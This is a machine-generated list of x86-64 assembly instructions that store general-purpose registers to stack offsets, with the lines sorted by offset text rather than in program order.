mov [ rsp + 0x2cc8 ], r12
mov [ rsp + 0x2cd0 ], r11
mov [ rsp + 0x2cd8 ], rsi
mov [ rsp + 0x2ce0 ], rbp
mov [ rsp + 0x2ce8 ], r10
mov [ rsp + 0x2cf0 ], r13
mov [ rsp + 0x2cf8 ], rbp
mov [ rsp + 0x2d00 ], rax
mov [ rsp + 0x2d08 ], rax
mov [ rsp + 0x2d0 ], r9
mov [ rsp + 0x2d10 ], rdi
mov [ rsp + 0x2d18 ], rcx
mov [ rsp + 0x2d20 ], rbp
mov [ rsp + 0x2d28 ], r15
mov [ rsp + 0x2d30 ], r8
mov [ rsp + 0x2d38 ], r10
mov [ rsp + 0x2d40 ], r11
mov [ rsp + 0x2d48 ], rdi
mov [ rsp + 0x2d50 ], r15
mov [ rsp + 0x2d58 ], r12
mov [ rsp + 0x2d60 ], r10
mov [ rsp + 0x2d68 ], rax
mov [ rsp + 0x2d70 ], rcx
mov [ rsp + 0x2d78 ], rax
mov [ rsp + 0x2d80 ], rdi
mov [ rsp + 0x2d88 ], rbx
mov [ rsp + 0x2d8 ], r11
mov [ rsp + 0x2d90 ], r12
mov [ rsp + 0x2d98 ], r13
mov [ rsp + 0x2da0 ], r15
mov [ rsp + 0x2da8 ], rdx
mov [ rsp + 0x2db0 ], rcx
mov [ rsp + 0x2db8 ], r14
mov [ rsp + 0x2dc0 ], rsi
mov [ rsp + 0x2dc8 ], rbx
mov [ rsp + 0x2dd0 ], r13
mov [ rsp + 0x2dd8 ], rax
mov [ rsp + 0x2de0 ], r8
mov [ rsp + 0x2de8 ], rbx
mov [ rsp + 0x2df0 ], r9
mov [ rsp + 0x2df8 ], rsi
mov [ rsp + 0x2e00 ], rdx
mov [ rsp + 0x2e08 ], rax
mov [ rsp + 0x2e0 ], rax
mov [ rsp + 0x2e10 ], r11
mov [ rsp + 0x2e18 ], r11
mov [ rsp + 0x2e20 ], r8
mov [ rsp + 0x2e28 ], r9
mov [ rsp + 0x2e30 ], r12
mov [ rsp + 0x2e38 ], r12
mov [ rsp + 0x2e40 ], rbp
mov [ rsp + 0x2e48 ], rax
mov [ rsp + 0x2e50 ], rsi
mov [ rsp + 0x2e58 ], rax
mov [ rsp + 0x2e60 ], r13
mov [ rsp + 0x2e68 ], r8
mov [ rsp + 0x2e70 ], r13
mov [ rsp + 0x2e78 ], r14
mov [ rsp + 0x2e80 ], r13
mov [ rsp + 0x2e88 ], rdx
mov [ rsp + 0x2e8 ], rbx
mov [ rsp + 0x2e90 ], rax
mov [ rsp + 0x2e98 ], r9
mov [ rsp + 0x2ea0 ], r15
mov [ rsp + 0x2ea8 ], rcx
mov [ rsp + 0x2eb0 ], r13
mov [ rsp + 0x2eb8 ], rsi
mov [ rsp + 0x2ec0 ], rcx
mov [ rsp + 0x2ec8 ], r14
mov [ rsp + 0x2ed0 ], rbp
mov [ rsp + 0x2ed8 ], rsi
mov [ rsp + 0x2ee0 ], r8
mov [ rsp + 0x2ee8 ], rdx
mov [ rsp + 0x2ef0 ], rbp
mov [ rsp + 0x2ef8 ], rax
mov [ rsp + 0x2f00 ], rdi
mov [ rsp + 0x2f08 ], rbx
mov [ rsp + 0x2f0 ], rbp
mov [ rsp + 0x2f10 ], r10
mov [ rsp + 0x2f18 ], r11
mov [ rsp + 0x2f20 ], r15
mov [ rsp + 0x2f28 ], rbx
mov [ rsp + 0x2f30 ], rbx
mov [ rsp + 0x2f38 ], rsi
mov [ rsp + 0x2f40 ], rbx
mov [ rsp + 0x2f48 ], r12
mov [ rsp + 0x2f50 ], r15
mov [ rsp + 0x2f58 ], rdi
mov [ rsp + 0x2f60 ], r14
mov [ rsp + 0x2f68 ], rbp
mov [ rsp + 0x2f70 ], r10
mov [ rsp + 0x2f78 ], r14
mov [ rsp + 0x2f80 ], rcx
mov [ rsp + 0x2f88 ], rax
mov [ rsp + 0x2f8 ], rax
mov [ rsp + 0x2f90 ], rbp
mov [ rsp + 0x2f98 ], r12
mov [ rsp + 0x2fa0 ], rax
mov [ rsp + 0x2fa8 ], r12
mov [ rsp + 0x2fb0 ], rbx
mov [ rsp + 0x2fb8 ], r10
mov [ rsp + 0x2fc0 ], rbp
mov [ rsp + 0x2fc8 ], rsi
mov [ rsp + 0x2fd0 ], rcx
mov [ rsp + 0x2fd8 ], r13
mov [ rsp + 0x2fe0 ], r11
mov [ rsp + 0x2fe8 ], r15
mov [ rsp + 0x2ff0 ], r13
mov [ rsp + 0x2ff8 ], rdx
mov [ rsp + 0x3000 ], rsi
mov [ rsp + 0x3008 ], rbp
mov [ rsp + 0x300 ], r11
mov [ rsp + 0x3010 ], r15
mov [ rsp + 0x3018 ], r14
mov [ rsp + 0x3020 ], r11
mov [ rsp + 0x3028 ], r8
mov [ rsp + 0x3030 ], r11
mov [ rsp + 0x3038 ], r13
mov [ rsp + 0x3040 ], r12
mov [ rsp + 0x3048 ], r12
mov [ rsp + 0x3050 ], rsi
mov [ rsp + 0x3058 ], r15
mov [ rsp + 0x3060 ], rsi
mov [ rsp + 0x3068 ], r11
mov [ rsp + 0x3070 ], rbx
mov [ rsp + 0x3078 ], r8
mov [ rsp + 0x3080 ], r9
mov [ rsp + 0x3088 ], r10
mov [ rsp + 0x308 ], r10
mov [ rsp + 0x3090 ], r14
mov [ rsp + 0x3098 ], r13
mov [ rsp + 0x30a0 ], rax
mov [ rsp + 0x30a8 ], r8
mov [ rsp + 0x30b0 ], rax
mov [ rsp + 0x30b8 ], r10
mov [ rsp + 0x30c0 ], rdx
mov [ rsp + 0x30c8 ], rbp
mov [ rsp + 0x30d0 ], r12
mov [ rsp + 0x30d8 ], rsi
mov [ rsp + 0x30e0 ], r14
mov [ rsp + 0x30e8 ], rax
mov [ rsp + 0x30f0 ], r12
mov [ rsp + 0x30f8 ], rbp
mov [ rsp + 0x30 ], r12
mov [ rsp + 0x3100 ], r13
mov [ rsp + 0x3108 ], rdx
mov [ rsp + 0x310 ], rcx
mov [ rsp + 0x3110 ], rcx
mov [ rsp + 0x3118 ], rsi
mov [ rsp + 0x3120 ], r9
mov [ rsp + 0x3128 ], r10
mov [ rsp + 0x3130 ], rdx
mov [ rsp + 0x3138 ], rsi
mov [ rsp + 0x3140 ], rbp
mov [ rsp + 0x3148 ], r13
mov [ rsp + 0x3150 ], rdx
mov [ rsp + 0x3158 ], rax
mov [ rsp + 0x3160 ], rdx
mov [ rsp + 0x3168 ], rbx
mov [ rsp + 0x3170 ], r10
mov [ rsp + 0x3178 ], rax
mov [ rsp + 0x3180 ], rcx
mov [ rsp + 0x3188 ], r15
mov [ rsp + 0x318 ], rax
mov [ rsp + 0x3190 ], r10
mov [ rsp + 0x3198 ], r13
mov [ rsp + 0x31a0 ], r10
mov [ rsp + 0x31a8 ], r10
mov [ rsp + 0x31b0 ], rbp
mov [ rsp + 0x31b8 ], r13
mov [ rsp + 0x31c0 ], r8
mov [ rsp + 0x31c8 ], rbx
mov [ rsp + 0x31d0 ], rdi
mov [ rsp + 0x31d8 ], r9
mov [ rsp + 0x31e0 ], rdx
mov [ rsp + 0x31e8 ], r12
mov [ rsp + 0x31f0 ], rbx
mov [ rsp + 0x31f8 ], r10
mov [ rsp + 0x3200 ], r14
mov [ rsp + 0x3208 ], rsi
mov [ rsp + 0x320 ], rax
mov [ rsp + 0x3210 ], r10
mov [ rsp + 0x3218 ], rsi
mov [ rsp + 0x3220 ], rsi
mov [ rsp + 0x3228 ], rbx
mov [ rsp + 0x3230 ], r11
mov [ rsp + 0x3238 ], r13
mov [ rsp + 0x3240 ], rbp
mov [ rsp + 0x3248 ], r11
mov [ rsp + 0x3250 ], rdx
mov [ rsp + 0x3258 ], rcx
mov [ rsp + 0x3260 ], r13
mov [ rsp + 0x3268 ], r8
mov [ rsp + 0x3270 ], r11
mov [ rsp + 0x3278 ], rbp
mov [ rsp + 0x3280 ], rdx
mov [ rsp + 0x3288 ], r13
mov [ rsp + 0x328 ], rdx
mov [ rsp + 0x3290 ], r14
mov [ rsp + 0x3298 ], r15
mov [ rsp + 0x32a0 ], r11
mov [ rsp + 0x32a8 ], rsi
mov [ rsp + 0x32b0 ], rcx
mov [ rsp + 0x32b8 ], r8
mov [ rsp + 0x32c0 ], r10
mov [ rsp + 0x32c8 ], r12
mov [ rsp + 0x32d0 ], rax
mov [ rsp + 0x32d8 ], rdx
mov [ rsp + 0x32e0 ], rdi
mov [ rsp + 0x32e8 ], rsi
mov [ rsp + 0x32f0 ], rbp
mov [ rsp + 0x32f8 ], r13
mov [ rsp + 0x3300 ], r14
mov [ rsp + 0x3308 ], r12
mov [ rsp + 0x330 ], r15
mov [ rsp + 0x3310 ], r11
mov [ rsp + 0x3318 ], rsi
mov [ rsp + 0x3320 ], rdi
mov [ rsp + 0x3328 ], rdi
mov [ rsp + 0x3330 ], r9
mov [ rsp + 0x3338 ], r8
mov [ rsp + 0x3340 ], r12
mov [ rsp + 0x3348 ], r8
mov [ rsp + 0x3350 ], rax
mov [ rsp + 0x3358 ], rsi
mov [ rsp + 0x3360 ], rbx
mov [ rsp + 0x3368 ], rbx
mov [ rsp + 0x3370 ], rdx
mov [ rsp + 0x3378 ], rsi
mov [ rsp + 0x3380 ], rcx
mov [ rsp + 0x3388 ], r15
mov [ rsp + 0x338 ], rcx
mov [ rsp + 0x3390 ], r9
mov [ rsp + 0x3398 ], rcx
mov [ rsp + 0x33a0 ], r12
mov [ rsp + 0x33a8 ], r11
mov [ rsp + 0x33b0 ], r8
mov [ rsp + 0x33b8 ], rbp
mov [ rsp + 0x33c0 ], rcx
mov [ rsp + 0x33c8 ], r11
mov [ rsp + 0x33d0 ], rbp
mov [ rsp + 0x33d8 ], r15
mov [ rsp + 0x33e0 ], rbp
mov [ rsp + 0x33e8 ], r14
mov [ rsp + 0x33f0 ], rax
mov [ rsp + 0x33f8 ], rbx
mov [ rsp + 0x3400 ], rax
mov [ rsp + 0x3408 ], r9
mov [ rsp + 0x340 ], r12
mov [ rsp + 0x3410 ], rcx
mov [ rsp + 0x3418 ], rdi
mov [ rsp + 0x3420 ], r11
mov [ rsp + 0x3428 ], rdx
mov [ rsp + 0x3430 ], r15
mov [ rsp + 0x3438 ], r13
mov [ rsp + 0x3440 ], rdx
mov [ rsp + 0x3448 ], r14
mov [ rsp + 0x3450 ], rax
mov [ rsp + 0x3458 ], r8
mov [ rsp + 0x3460 ], rax
mov [ rsp + 0x3468 ], r11
mov [ rsp + 0x3470 ], rbp
mov [ rsp + 0x3478 ], rax
mov [ rsp + 0x3480 ], r9
mov [ rsp + 0x3488 ], rcx
mov [ rsp + 0x348 ], rax
mov [ rsp + 0x3490 ], r8
mov [ rsp + 0x3498 ], rbx
mov [ rsp + 0x34a0 ], rcx
mov [ rsp + 0x34a8 ], r8
mov [ rsp + 0x34b0 ], rdi
mov [ rsp + 0x34b8 ], r14
mov [ rsp + 0x34c0 ], r11
mov [ rsp + 0x34c8 ], r10
mov [ rsp + 0x34d0 ], r15
mov [ rsp + 0x34d8 ], rsi
mov [ rsp + 0x34e0 ], rcx
mov [ rsp + 0x34e8 ], r11
mov [ rsp + 0x34f0 ], rax
mov [ rsp + 0x34f8 ], rdi
mov [ rsp + 0x3500 ], r9
mov [ rsp + 0x3508 ], r10
mov [ rsp + 0x350 ], r13
mov [ rsp + 0x3510 ], rdi
mov [ rsp + 0x3518 ], r15
mov [ rsp + 0x3520 ], rbp
mov [ rsp + 0x3528 ], r15
mov [ rsp + 0x3530 ], r9
mov [ rsp + 0x3538 ], rdi
mov [ rsp + 0x3540 ], r8
mov [ rsp + 0x3548 ], r8
mov [ rsp + 0x3550 ], rbx
mov [ rsp + 0x3558 ], r8
mov [ rsp + 0x3560 ], rax
mov [ rsp + 0x3568 ], rcx
mov [ rsp + 0x3570 ], r14
mov [ rsp + 0x3578 ], rbp
mov [ rsp + 0x3580 ], rax
mov [ rsp + 0x3588 ], rdi
mov [ rsp + 0x358 ], r8
mov [ rsp + 0x3590 ], r12
mov [ rsp + 0x3598 ], rdi
mov [ rsp + 0x35a0 ], rcx
mov [ rsp + 0x35a8 ], r9
mov [ rsp + 0x35b0 ], rdx
mov [ rsp + 0x35b8 ], rax
mov [ rsp + 0x35c0 ], r10
mov [ rsp + 0x35c8 ], rcx
mov [ rsp + 0x35d0 ], r15
mov [ rsp + 0x35d8 ], r10
mov [ rsp + 0x35e0 ], r10
mov [ rsp + 0x35e8 ], rsi
mov [ rsp + 0x35f0 ], r9
mov [ rsp + 0x35f8 ], r9
mov [ rsp + 0x3600 ], r13
mov [ rsp + 0x3608 ], r14
mov [ rsp + 0x360 ], rsi
mov [ rsp + 0x3610 ], r10
mov [ rsp + 0x3618 ], r8
mov [ rsp + 0x3620 ], r10
mov [ rsp + 0x3628 ], r11
mov [ rsp + 0x3630 ], rbp
mov [ rsp + 0x3638 ], r10
mov [ rsp + 0x3640 ], rbx
mov [ rsp + 0x3648 ], r14
mov [ rsp + 0x3650 ], r13
mov [ rsp + 0x3658 ], rcx
mov [ rsp + 0x3660 ], r8
mov [ rsp + 0x3668 ], r13
mov [ rsp + 0x3670 ], r10
mov [ rsp + 0x3678 ], rcx
mov [ rsp + 0x3680 ], r10
mov [ rsp + 0x3688 ], rbx
mov [ rsp + 0x368 ], rbx
mov [ rsp + 0x3690 ], rcx
mov [ rsp + 0x3698 ], rax
mov [ rsp + 0x36a0 ], r13
mov [ rsp + 0x36a8 ], r8
mov [ rsp + 0x36b0 ], r15
mov [ rsp + 0x36b8 ], rax
mov [ rsp + 0x36c0 ], rdx
mov [ rsp + 0x36c8 ], r10
mov [ rsp + 0x36d0 ], rdi
mov [ rsp + 0x36d8 ], rax
mov [ rsp + 0x36e0 ], rdi
mov [ rsp + 0x36e8 ], r10
mov [ rsp + 0x36f0 ], rcx
mov [ rsp + 0x36f8 ], rax
mov [ rsp + 0x3700 ], rsi
mov [ rsp + 0x3708 ], r15
mov [ rsp + 0x370 ], rdx
mov [ rsp + 0x3710 ], rcx
mov [ rsp + 0x3718 ], r8
mov [ rsp + 0x3720 ], rbx
mov [ rsp + 0x3728 ], rbp
mov [ rsp + 0x3730 ], r15
mov [ rsp + 0x3738 ], r14
mov [ rsp + 0x3740 ], r13
mov [ rsp + 0x3748 ], r12
mov [ rsp + 0x3750 ], rbp
mov [ rsp + 0x3758 ], r15
mov [ rsp + 0x3760 ], rcx
mov [ rsp + 0x3768 ], rbx
mov [ rsp + 0x3770 ], rdx
mov [ rsp + 0x3778 ], r12
mov [ rsp + 0x3780 ], r11
mov [ rsp + 0x3788 ], r15
mov [ rsp + 0x378 ], r13
mov [ rsp + 0x3790 ], r8
mov [ rsp + 0x3798 ], r14
mov [ rsp + 0x37a0 ], r12
mov [ rsp + 0x37a8 ], r8
mov [ rsp + 0x37b0 ], rdx
mov [ rsp + 0x37b8 ], r15
mov [ rsp + 0x37c0 ], r11
mov [ rsp + 0x37c8 ], r14
mov [ rsp + 0x37d0 ], rdi
mov [ rsp + 0x37d8 ], rsi
mov [ rsp + 0x37e0 ], rsi
mov [ rsp + 0x37e8 ], rax
mov [ rsp + 0x37f0 ], r14
mov [ rsp + 0x37f8 ], rdx
mov [ rsp + 0x3800 ], r15
mov [ rsp + 0x3808 ], rbx
mov [ rsp + 0x380 ], rdi
mov [ rsp + 0x3810 ], rsi
mov [ rsp + 0x3818 ], r11
mov [ rsp + 0x3820 ], r10
mov [ rsp + 0x3828 ], r14
mov [ rsp + 0x3830 ], r10
mov [ rsp + 0x3838 ], r14
mov [ rsp + 0x3840 ], rbx
mov [ rsp + 0x3848 ], rcx
mov [ rsp + 0x3850 ], rbx
mov [ rsp + 0x3858 ], rsi
mov [ rsp + 0x3860 ], rax
mov [ rsp + 0x3868 ], r8
mov [ rsp + 0x3870 ], rdx
mov [ rsp + 0x3878 ], r13
mov [ rsp + 0x3880 ], r14
mov [ rsp + 0x3888 ], r9
mov [ rsp + 0x388 ], r11
mov [ rsp + 0x3890 ], r10
mov [ rsp + 0x3898 ], rax
mov [ rsp + 0x38a0 ], r12
mov [ rsp + 0x38a8 ], rbx
mov [ rsp + 0x38b0 ], r11
mov [ rsp + 0x38b8 ], r9
mov [ rsp + 0x38c0 ], r12
mov [ rsp + 0x38c8 ], rdi
mov [ rsp + 0x38d0 ], rbx
mov [ rsp + 0x38d8 ], rdx
mov [ rsp + 0x38e0 ], r10
mov [ rsp + 0x38e8 ], r11
mov [ rsp + 0x38f0 ], rax
mov [ rsp + 0x38f8 ], rbp
mov [ rsp + 0x38 ], r14
mov [ rsp + 0x3900 ], r15
mov [ rsp + 0x3908 ], r12
mov [ rsp + 0x390 ], r11
mov [ rsp + 0x3910 ], rdx
mov [ rsp + 0x3918 ], r11
mov [ rsp + 0x3920 ], r15
mov [ rsp + 0x3928 ], r9
mov [ rsp + 0x3930 ], rdi
mov [ rsp + 0x3938 ], r11
mov [ rsp + 0x3940 ], r8
mov [ rsp + 0x3948 ], r10
mov [ rsp + 0x3950 ], r15
mov [ rsp + 0x3958 ], rcx
mov [ rsp + 0x3960 ], rcx
mov [ rsp + 0x3968 ], rax
mov [ rsp + 0x3970 ], r14
mov [ rsp + 0x3978 ], rbx
mov [ rsp + 0x3980 ], rbp
mov [ rsp + 0x3988 ], r12
mov [ rsp + 0x398 ], rsi
mov [ rsp + 0x3990 ], r13
mov [ rsp + 0x3998 ], r14
mov [ rsp + 0x39a0 ], r15
mov [ rsp + 0x3a0 ], r12
mov [ rsp + 0x3a8 ], r13
mov [ rsp + 0x3b0 ], r14
mov [ rsp + 0x3b8 ], rcx
mov [ rsp + 0x3c0 ], r8
mov [ rsp + 0x3c8 ], r15
mov [ rsp + 0x3d0 ], rdx
mov [ rsp + 0x3d8 ], r8
mov [ rsp + 0x3e0 ], r10
mov [ rsp + 0x3e8 ], r14
mov [ rsp + 0x3f0 ], rsi
mov [ rsp + 0x3f8 ], r14
mov [ rsp + 0x400 ], r8
mov [ rsp + 0x408 ], r10
mov [ rsp + 0x40 ], r14
mov [ rsp + 0x410 ], rcx
mov [ rsp + 0x418 ], r15
mov [ rsp + 0x420 ], r15
mov [ rsp + 0x428 ], r9
mov [ rsp + 0x430 ], r8
mov [ rsp + 0x438 ], r15
mov [ rsp + 0x440 ], rax
mov [ rsp + 0x448 ], rdi
mov [ rsp + 0x450 ], r13
mov [ rsp + 0x458 ], rdx
mov [ rsp + 0x460 ], r14
mov [ rsp + 0x468 ], rdx
mov [ rsp + 0x470 ], r10
mov [ rsp + 0x478 ], r10
mov [ rsp + 0x480 ], r8
mov [ rsp + 0x488 ], r10
mov [ rsp + 0x48 ], r10
mov [ rsp + 0x48 ], r12
mov [ rsp + 0x48 ], r15
mov [ rsp + 0x48 ], r9
mov [ rsp + 0x48 ], rbx
mov [ rsp + 0x48 ], rdi
mov [ rsp + 0x48 ], rdx
mov [ rsp + 0x490 ], rbx
mov [ rsp + 0x498 ], r15
mov [ rsp + 0x4a0 ], rsi
mov [ rsp + 0x4a8 ], rsi
mov [ rsp + 0x4b0 ], rdx
mov [ rsp + 0x4b8 ], r14
mov [ rsp + 0x4c0 ], r10
mov [ rsp + 0x4c8 ], rdx
mov [ rsp + 0x4d0 ], r9
mov [ rsp + 0x4d8 ], r13
mov [ rsp + 0x4e0 ], r13
mov [ rsp + 0x4e8 ], r10
mov [ rsp + 0x4f0 ], r15
mov [ rsp + 0x4f8 ], r9
mov [ rsp + 0x500 ], rdi
mov [ rsp + 0x508 ], r14
mov [ rsp + 0x50 ], r14
mov [ rsp + 0x510 ], rdx
mov [ rsp + 0x518 ], r11
mov [ rsp + 0x520 ], rbx
mov [ rsp + 0x528 ], r10
mov [ rsp + 0x530 ], r15
mov [ rsp + 0x538 ], rax
mov [ rsp + 0x540 ], r8
mov [ rsp + 0x548 ], r13
mov [ rsp + 0x550 ], r9
mov [ rsp + 0x558 ], rax
mov [ rsp + 0x560 ], r13
mov [ rsp + 0x568 ], r8
mov [ rsp + 0x570 ], rax
mov [ rsp + 0x578 ], r8
mov [ rsp + 0x580 ], r15
mov [ rsp + 0x588 ], rsi
mov [ rsp + 0x58 ], r10
mov [ rsp + 0x590 ], r15
mov [ rsp + 0x598 ], rdi
mov [ rsp + 0x5a0 ], rdx
mov [ rsp + 0x5a8 ], rbp
mov [ rsp + 0x5b0 ], r12
mov [ rsp + 0x5b8 ], rcx
mov [ rsp + 0x5c0 ], r10
mov [ rsp + 0x5c8 ], rdi
mov [ rsp + 0x5d0 ], r10
mov [ rsp + 0x5d8 ], r10
mov [ rsp + 0x5e0 ], rbp
mov [ rsp + 0x5e8 ], rax
mov [ rsp + 0x5f0 ], rdi
mov [ rsp + 0x5f8 ], rbp
mov [ rsp + 0x600 ], r13
mov [ rsp + 0x608 ], rcx
mov [ rsp + 0x60 ], r8
mov [ rsp + 0x610 ], r11
mov [ rsp + 0x618 ], rbx
mov [ rsp + 0x620 ], r8
mov [ rsp + 0x628 ], rbx
mov [ rsp + 0x630 ], r13
mov [ rsp + 0x638 ], rbp
mov [ rsp + 0x640 ], r9
mov [ rsp + 0x648 ], rsi
mov [ rsp + 0x650 ], r11
mov [ rsp + 0x658 ], rax
mov [ rsp + 0x660 ], rsi
mov [ rsp + 0x668 ], r13
mov [ rsp + 0x670 ], rsi
mov [ rsp + 0x678 ], rsi
mov [ rsp + 0x680 ], rcx
mov [ rsp + 0x688 ], r9
mov [ rsp + 0x68 ], rcx
mov [ rsp + 0x690 ], rbx
mov [ rsp + 0x698 ], r11
mov [ rsp + 0x6a0 ], rdi
mov [ rsp + 0x6a8 ], r8
mov [ rsp + 0x6b0 ], rbp
mov [ rsp + 0x6b8 ], rax
mov [ rsp + 0x6c0 ], rax
mov [ rsp + 0x6c8 ], rax
mov [ rsp + 0x6d0 ], rdi
mov [ rsp + 0x6d8 ], r9
mov [ rsp + 0x6e0 ], r10
mov [ rsp + 0x6e8 ], r14
mov [ rsp + 0x6f0 ], r12
mov [ rsp + 0x6f8 ], r11
mov [ rsp + 0x700 ], rax
mov [ rsp + 0x708 ], r14
mov [ rsp + 0x70 ], r14
mov [ rsp + 0x710 ], rbx
mov [ rsp + 0x718 ], rbx
mov [ rsp + 0x720 ], r10
mov [ rsp + 0x728 ], r8
mov [ rsp + 0x730 ], rdi
mov [ rsp + 0x738 ], rbx
mov [ rsp + 0x740 ], r14
mov [ rsp + 0x748 ], r10
mov [ rsp + 0x750 ], r8
mov [ rsp + 0x758 ], r14
mov [ rsp + 0x760 ], rsi
mov [ rsp + 0x768 ], r10
mov [ rsp + 0x770 ], r15
mov [ rsp + 0x778 ], rdx
mov [ rsp + 0x780 ], rsi
mov [ rsp + 0x788 ], rax
mov [ rsp + 0x78 ], r15
mov [ rsp + 0x790 ], rdx
mov [ rsp + 0x798 ], rcx
mov [ rsp + 0x7a0 ], rax
mov [ rsp + 0x7a8 ], r11
mov [ rsp + 0x7b0 ], r15
mov [ rsp + 0x7b8 ], r14
mov [ rsp + 0x7c0 ], rbp
mov [ rsp + 0x7c8 ], rdi
mov [ rsp + 0x7d0 ], r11
mov [ rsp + 0x7d8 ], r8
mov [ rsp + 0x7e0 ], rbp
mov [ rsp + 0x7e8 ], rdi
mov [ rsp + 0x7f0 ], rsi
mov [ rsp + 0x7f8 ], r13
mov [ rsp + 0x800 ], r9
mov [ rsp + 0x808 ], r14
mov [ rsp + 0x80 ], r9
mov [ rsp + 0x810 ], r12
mov [ rsp + 0x818 ], rsi
mov [ rsp + 0x820 ], r10
mov [ rsp + 0x828 ], r13
mov [ rsp + 0x830 ], rbp
mov [ rsp + 0x838 ], rax
mov [ rsp + 0x840 ], r9
mov [ rsp + 0x848 ], r12
mov [ rsp + 0x850 ], rcx
mov [ rsp + 0x858 ], r15
mov [ rsp + 0x860 ], rdi
mov [ rsp + 0x868 ], rax
mov [ rsp + 0x870 ], rcx
mov [ rsp + 0x878 ], rax
mov [ rsp + 0x880 ], r13
mov [ rsp + 0x888 ], r14
mov [ rsp + 0x88 ], rdi
mov [ rsp + 0x890 ], r12
mov [ rsp + 0x898 ], r15
mov [ rsp + 0x8a0 ], rax
mov [ rsp + 0x8a8 ], r12
mov [ rsp + 0x8b0 ], rdx
mov [ rsp + 0x8b8 ], rdi
mov [ rsp + 0x8c0 ], r8
mov [ rsp + 0x8c8 ], r15
mov [ rsp + 0x8d0 ], r14
mov [ rsp + 0x8d8 ], r10
mov [ rsp + 0x8e0 ], r14
mov [ rsp + 0x8e8 ], r12
mov [ rsp + 0x8f0 ], rax
mov [ rsp + 0x8f8 ], r13
mov [ rsp + 0x8 ], rbx
mov [ rsp + 0x900 ], rcx
mov [ rsp + 0x908 ], rdi
mov [ rsp + 0x90 ], r12
mov [ rsp + 0x910 ], r9
mov [ rsp + 0x918 ], rdi
mov [ rsp + 0x920 ], r13
mov [ rsp + 0x928 ], rbx
mov [ rsp + 0x930 ], rbp
mov [ rsp + 0x938 ], r15
mov [ rsp + 0x940 ], r13
mov [ rsp + 0x948 ], r13
mov [ rsp + 0x950 ], rcx
mov [ rsp + 0x958 ], rax
mov [ rsp + 0x960 ], r11
mov [ rsp + 0x968 ], r11
mov [ rsp + 0x970 ], r12
mov [ rsp + 0x978 ], rdi
mov [ rsp + 0x980 ], rcx
mov [ rsp + 0x988 ], r10
mov [ rsp + 0x98 ], rcx
mov [ rsp + 0x990 ], r9
mov [ rsp + 0x998 ], rax
mov [ rsp + 0x9a0 ], rax
mov [ rsp + 0x9a8 ], rbp
mov [ rsp + 0x9b0 ], rdx
mov [ rsp + 0x9b8 ], rax
mov [ rsp + 0x9c0 ], rdx
mov [ rsp + 0x9c8 ], r12
mov [ rsp + 0x9d0 ], rdx
mov [ rsp + 0x9d8 ], rbx
mov [ rsp + 0x9e0 ], rdi
mov [ rsp + 0x9e8 ], rdi
mov [ rsp + 0x9f0 ], r8
mov [ rsp + 0x9f8 ], rax
mov [ rsp + 0xa00 ], r14
mov [ rsp + 0xa08 ], r10
mov [ rsp + 0xa0 ], rdx
mov [ rsp + 0xa10 ], r13
mov [ rsp + 0xa18 ], rdx
mov [ rsp + 0xa20 ], r14
mov [ rsp + 0xa28 ], rdi
mov [ rsp + 0xa30 ], rax
mov [ rsp + 0xa38 ], r10
mov [ rsp + 0xa40 ], rsi
mov [ rsp + 0xa48 ], rbx
mov [ rsp + 0xa50 ], r9
mov [ rsp + 0xa58 ], rbx
mov [ rsp + 0xa60 ], rdx
mov [ rsp + 0xa68 ], r15
mov [ rsp + 0xa70 ], rsi
mov [ rsp + 0xa78 ], rax
mov [ rsp + 0xa80 ], r14
mov [ rsp + 0xa88 ], rax
mov [ rsp + 0xa8 ], r9
mov [ rsp + 0xa90 ], r13
mov [ rsp + 0xa98 ], rbp
mov [ rsp + 0xaa0 ], r10
mov [ rsp + 0xaa8 ], r11
mov [ rsp + 0xab0 ], rbx
mov [ rsp + 0xab8 ], r9
mov [ rsp + 0xac0 ], r15
mov [ rsp + 0xac8 ], r10
mov [ rsp + 0xad0 ], r11
mov [ rsp + 0xad8 ], r13
mov [ rsp + 0xae0 ], rbx
mov [ rsp + 0xae8 ], rdi
mov [ rsp + 0xaf0 ], rdi
mov [ rsp + 0xaf8 ], rdx
mov [ rsp + 0xb00 ], r8
mov [ rsp + 0xb08 ], rcx
mov [ rsp + 0xb0 ], rcx
mov [ rsp + 0xb10 ], r13
mov [ rsp + 0xb18 ], r15
mov [ rsp + 0xb20 ], r15
mov [ rsp + 0xb28 ], r9
mov [ rsp + 0xb30 ], r12
mov [ rsp + 0xb38 ], rcx
mov [ rsp + 0xb40 ], rbx
mov [ rsp + 0xb48 ], r10
mov [ rsp + 0xb50 ], r10
mov [ rsp + 0xb58 ], r12
mov [ rsp + 0xb60 ], r8
mov [ rsp + 0xb68 ], rax
mov [ rsp + 0xb70 ], rsi
mov [ rsp + 0xb78 ], rdi
mov [ rsp + 0xb80 ], r13
mov [ rsp + 0xb88 ], rbp
mov [ rsp + 0xb8 ], rsi
mov [ rsp + 0xb90 ], rdx
mov [ rsp + 0xb98 ], r12
mov [ rsp + 0xba0 ], r13
mov [ rsp + 0xba8 ], r13
mov [ rsp + 0xbb0 ], r9
mov [ rsp + 0xbb8 ], rdi
mov [ rsp + 0xbc0 ], r11
mov [ rsp + 0xbc8 ], rsi
mov [ rsp + 0xbd0 ], rbx
mov [ rsp + 0xbd8 ], r14
mov [ rsp + 0xbe0 ], rax
mov [ rsp + 0xbe8 ], r8
mov [ rsp + 0xbf0 ], rdx
mov [ rsp + 0xbf8 ], r15
mov [ rsp + 0xc00 ], rbx
mov [ rsp + 0xc08 ], rax
mov [ rsp + 0xc0 ], rdi
mov [ rsp + 0xc10 ], r11
mov [ rsp + 0xc18 ], r15
mov [ rsp + 0xc20 ], r14
mov [ rsp + 0xc28 ], rax
mov [ rsp + 0xc30 ], rcx
mov [ rsp + 0xc38 ], r10
mov [ rsp + 0xc40 ], r15
mov [ rsp + 0xc48 ], r9
mov [ rsp + 0xc50 ], r11
mov [ rsp + 0xc58 ], r9
mov [ rsp + 0xc60 ], rdi
mov [ rsp + 0xc68 ], r9
mov [ rsp + 0xc70 ], r15
mov [ rsp + 0xc78 ], r11
mov [ rsp + 0xc80 ], rdi
mov [ rsp + 0xc88 ], rbx
mov [ rsp + 0xc8 ], r9
mov [ rsp + 0xc90 ], rdx
mov [ rsp + 0xc98 ], rbp
mov [ rsp + 0xca0 ], rbp
mov [ rsp + 0xca8 ], r15
mov [ rsp + 0xcb0 ], r13
mov [ rsp + 0xcb8 ], r11
mov [ rsp + 0xcc0 ], r10
mov [ rsp + 0xcc8 ], r10
mov [ rsp + 0xcd0 ], r11
mov [ rsp + 0xcd8 ], r9
mov [ rsp + 0xce0 ], r12
mov [ rsp + 0xce8 ], rsi
